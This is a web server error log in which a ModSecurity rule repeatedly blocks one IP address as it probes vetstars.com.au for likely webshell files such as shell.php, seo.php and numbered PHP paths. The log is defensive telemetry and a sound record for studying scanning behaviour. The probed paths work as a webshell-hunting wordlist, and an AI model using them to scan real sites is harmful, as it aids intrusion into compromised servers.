[Mon Apr 20 21:36:43.842555 2026] [:error] [pid 11494:tid 11498] [client 74.248.131.114:22309] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/huya.php"] [unique_id "aeYr68gko5iFiE8YoyTr_gAAAYI"]
[Mon Apr 20 21:36:44.781107 2026] [:error] [pid 11351:tid 11398] [client 74.248.131.114:22946] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/huya.php"] [unique_id "aeYr7AN8Z1-vktaI_tMPEgAAAEs"]
[Mon Apr 20 21:36:45.395841 2026] [:error] [pid 11441:tid 11452] [client 74.248.131.114:23668] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/huya.php"] [unique_id "aeYr7cixByFUvmh319CmTAAAAMk"]
[Mon Apr 20 21:36:46.188625 2026] [:error] [pid 11494:tid 11506] [client 74.248.131.114:23672] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puc.php"] [unique_id "aeYr7sgko5iFiE8YoyTsAAAAAYo"]
[Mon Apr 20 21:36:46.990863 2026] [:error] [pid 11441:tid 11449] [client 74.248.131.114:23610] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puc.php"] [unique_id "aeYr7sixByFUvmh319CmUAAAAMY"]
[Mon Apr 20 21:36:48.303559 2026] [:error] [pid 11351:tid 11393] [client 74.248.131.114:23611] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puc.php"] [unique_id "aeYr8AN8Z1-vktaI_tMPGwAAAEY"]
[Mon Apr 20 21:36:49.599858 2026] [:error] [pid 11351:tid 11387] [client 74.248.131.114:23674] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puc.php"] [unique_id "aeYr8QN8Z1-vktaI_tMPHgAAAEA"]
[Mon Apr 20 21:36:50.349678 2026] [:error] [pid 11494:tid 11517] [client 74.248.131.114:22398] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aeYr8sgko5iFiE8YoyTsBQAAAZU"]
[Mon Apr 20 21:36:51.250086 2026] [:error] [pid 11494:tid 11519] [client 74.248.131.114:22918] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aeYr88gko5iFiE8YoyTsCQAAAZc"]
[Mon Apr 20 21:36:51.939118 2026] [:error] [pid 11351:tid 11392] [client 74.248.131.114:22390] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aeYr8wN8Z1-vktaI_tMPIgAAAEU"]
[Mon Apr 20 21:36:52.640374 2026] [:error] [pid 11350:tid 11369] [client 74.248.131.114:21012] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aeYr9P4EoMBgOJuJnT3F9AAAAAo"]
[Mon Apr 20 21:36:53.229601 2026] [:error] [pid 11350:tid 11379] [client 74.248.131.114:22366] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ewp.php"] [unique_id "aeYr9f4EoMBgOJuJnT3F9gAAABQ"]
[Mon Apr 20 21:36:53.917021 2026] [:error] [pid 11350:tid 11365] [client 74.248.131.114:22326] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ewp.php"] [unique_id "aeYr9f4EoMBgOJuJnT3F9wAAAAY"]
[Mon Apr 20 21:36:54.594085 2026] [:error] [pid 11351:tid 11392] [client 74.248.131.114:23620] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ewp.php"] [unique_id "aeYr9gN8Z1-vktaI_tMPKgAAAEU"]
[Mon Apr 20 21:37:35.470313 2026] [autoindex:error] [pid 11350:tid 11377] [client 74.248.131.114:22342] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 21:37:39.645824 2026] [:error] [pid 11350:tid 11365] [client 74.248.131.114:22342] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeYsI_4EoMBgOJuJnT3GZwAAAAY"]
[Mon Apr 20 21:37:40.234612 2026] [:error] [pid 11441:tid 11453] [client 74.248.131.114:23661] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeYsJMixByFUvmh319CmdgAAAMo"]
[Mon Apr 20 21:37:40.799268 2026] [:error] [pid 11494:tid 11507] [client 74.248.131.114:24230] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeYsJMgko5iFiE8YoyTsSgAAAYs"]
[Mon Apr 20 21:37:41.448686 2026] [:error] [pid 11350:tid 11379] [client 74.248.131.114:24217] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeYsJf4EoMBgOJuJnT3GbgAAABQ"]
[Mon Apr 20 21:37:41.989598 2026] [:error] [pid 11494:tid 11514] [client 74.248.131.114:23675] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "aeYsJcgko5iFiE8YoyTsTgAAAZI"]
[Mon Apr 20 21:37:42.508252 2026] [:error] [pid 11494:tid 11516] [client 74.248.131.114:23678] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "aeYsJsgko5iFiE8YoyTsUwAAAZQ"]
[Mon Apr 20 21:37:43.255771 2026] [:error] [pid 11494:tid 11500] [client 74.248.131.114:24270] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "aeYsJ8gko5iFiE8YoyTsWAAAAYQ"]
[Mon Apr 20 21:37:43.882920 2026] [:error] [pid 11352:tid 11415] [client 74.248.131.114:24949] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "aeYsJ2l10mhMSfJ7ir_c5wAAAIE"]
[Mon Apr 20 21:37:44.425882 2026] [:error] [pid 42014:tid 42036] [client 74.248.131.114:24251] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "aeYsKMek-00-ZI0f1NqGIAAAARQ"]
[Mon Apr 20 21:37:44.999539 2026] [:error] [pid 11441:tid 11462] [client 74.248.131.114:23583] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "aeYsKMixByFUvmh319CmegAAANM"]
[Mon Apr 20 21:37:45.733551 2026] [:error] [pid 11351:tid 11388] [client 74.248.131.114:24240] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "aeYsKQN8Z1-vktaI_tMPmQAAAEE"]
[Mon Apr 20 21:37:46.267674 2026] [:error] [pid 11352:tid 11432] [client 74.248.131.114:23609] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "aeYsKml10mhMSfJ7ir_c6gAAAJI"]
[Mon Apr 20 21:37:46.793970 2026] [:error] [pid 11351:tid 11400] [client 74.248.131.114:24237] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "aeYsKgN8Z1-vktaI_tMPmwAAAE0"]
[Mon Apr 20 21:37:47.421314 2026] [:error] [pid 11351:tid 11394] [client 74.248.131.114:24230] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "aeYsKwN8Z1-vktaI_tMPnAAAAEc"]
[Mon Apr 20 21:37:47.952770 2026] [:error] [pid 42014:tid 42017] [client 74.248.131.114:24839] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "aeYsK8ek-00-ZI0f1NqGIgAAAQE"]
[Mon Apr 20 21:37:48.499321 2026] [:error] [pid 42014:tid 42040] [client 74.248.131.114:23663] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "aeYsLMek-00-ZI0f1NqGIwAAARg"]
[Mon Apr 20 21:37:49.036101 2026] [:error] [pid 11351:tid 11409] [client 74.248.131.114:24193] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeYsLQN8Z1-vktaI_tMPnwAAAFY"]
[Mon Apr 20 21:37:49.636177 2026] [:error] [pid 42014:tid 42037] [client 74.248.131.114:23593] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeYsLcek-00-ZI0f1NqGJAAAARU"]
[Mon Apr 20 21:37:50.150530 2026] [:error] [pid 42014:tid 42026] [client 74.248.131.114:23624] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeYsLsek-00-ZI0f1NqGJQAAAQo"]
[Mon Apr 20 21:37:50.711514 2026] [:error] [pid 11441:tid 11443] [client 74.248.131.114:23670] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeYsLsixByFUvmh319CmfQAAAMA"]
[Mon Apr 20 21:37:51.296930 2026] [:error] [pid 11441:tid 11445] [client 74.248.131.114:23647] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aeYsL8ixByFUvmh319CmfwAAAMI"]
[Mon Apr 20 21:37:51.874843 2026] [:error] [pid 11350:tid 11383] [client 74.248.131.114:24228] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aeYsL_4EoMBgOJuJnT3GoQAAABg"]
[Mon Apr 20 21:37:52.533527 2026] [:error] [pid 11351:tid 11399] [client 74.248.131.114:24223] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aeYsMAN8Z1-vktaI_tMPoQAAAEw"]
[Mon Apr 20 21:37:53.251414 2026] [:error] [pid 6928:tid 6931] [client 74.248.131.114:24872] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aeYsMR3y7MHq1iB0qYq5iAAAAUE"]
[Mon Apr 20 21:37:53.765478 2026] [:error] [pid 11350:tid 11382] [client 74.248.131.114:23593] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeYsMf4EoMBgOJuJnT3GqAAAABc"]
[Mon Apr 20 21:37:54.282537 2026] [:error] [pid 11350:tid 11366] [client 74.248.131.114:24886] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeYsMv4EoMBgOJuJnT3GqQAAAAc"]
[Mon Apr 20 21:37:54.836418 2026] [:error] [pid 11352:tid 11416] [client 74.248.131.114:24205] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeYsMml10mhMSfJ7ir_c7gAAAII"]
[Mon Apr 20 21:37:55.347405 2026] [:error] [pid 11494:tid 11499] [client 74.248.131.114:24943] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeYsM8gko5iFiE8YoyTsdwAAAYM"]
[Mon Apr 20 21:37:55.864035 2026] [:error] [pid 42014:tid 42028] [client 74.248.131.114:24312] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aeYsM8ek-00-ZI0f1NqGKwAAAQw"]
[Mon Apr 20 21:37:56.442675 2026] [:error] [pid 11441:tid 11454] [client 74.248.131.114:24221] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aeYsNMixByFUvmh319CmgwAAAMs"]
[Mon Apr 20 21:37:57.209299 2026] [:error] [pid 6928:tid 6933] [client 74.248.131.114:21056] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aeYsNR3y7MHq1iB0qYq5iwAAAUM"]
[Mon Apr 20 21:37:57.860530 2026] [:error] [pid 11441:tid 11456] [client 74.248.131.114:23554] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aeYsNcixByFUvmh319CmhAAAAM0"]
[Mon Apr 20 21:37:58.468939 2026] [:error] [pid 11351:tid 11396] [client 74.248.131.114:24932] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aeYsNgN8Z1-vktaI_tMPpgAAAEk"]
[Mon Apr 20 21:37:59.097928 2026] [:error] [pid 11351:tid 11403] [client 74.248.131.114:24271] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aeYsNwN8Z1-vktaI_tMPpwAAAFA"]
[Mon Apr 20 21:37:59.709968 2026] [:error] [pid 11351:tid 11399] [client 74.248.131.114:23679] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aeYsNwN8Z1-vktaI_tMPqQAAAEw"]
[Mon Apr 20 21:38:00.242655 2026] [:error] [pid 11352:tid 11425] [client 74.248.131.114:23557] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aeYsOGl10mhMSfJ7ir_c9wAAAIs"]
[Mon Apr 20 21:38:00.970855 2026] [:error] [pid 11494:tid 11500] [client 74.248.131.114:24296] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aeYsOMgko5iFiE8YoyTsfAAAAYQ"]
[Mon Apr 20 21:38:01.485283 2026] [:error] [pid 11351:tid 11390] [client 74.248.131.114:23622] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aeYsOQN8Z1-vktaI_tMPqgAAAEM"]
[Mon Apr 20 21:38:02.148846 2026] [:error] [pid 11494:tid 11520] [client 74.248.131.114:24904] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aeYsOsgko5iFiE8YoyTsfgAAAZg"]
[Mon Apr 20 21:38:02.670320 2026] [:error] [pid 6928:tid 6944] [client 74.248.131.114:25496] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aeYsOh3y7MHq1iB0qYq5kQAAAU4"]
[Mon Apr 20 21:38:03.217890 2026] [:error] [pid 11351:tid 11410] [client 74.248.131.114:24934] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aeYsOwN8Z1-vktaI_tMPrAAAAFc"]
[Mon Apr 20 21:38:03.733685 2026] [:error] [pid 42014:tid 42030] [client 74.248.131.114:23635] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aeYsO8ek-00-ZI0f1NqGLwAAAQ4"]
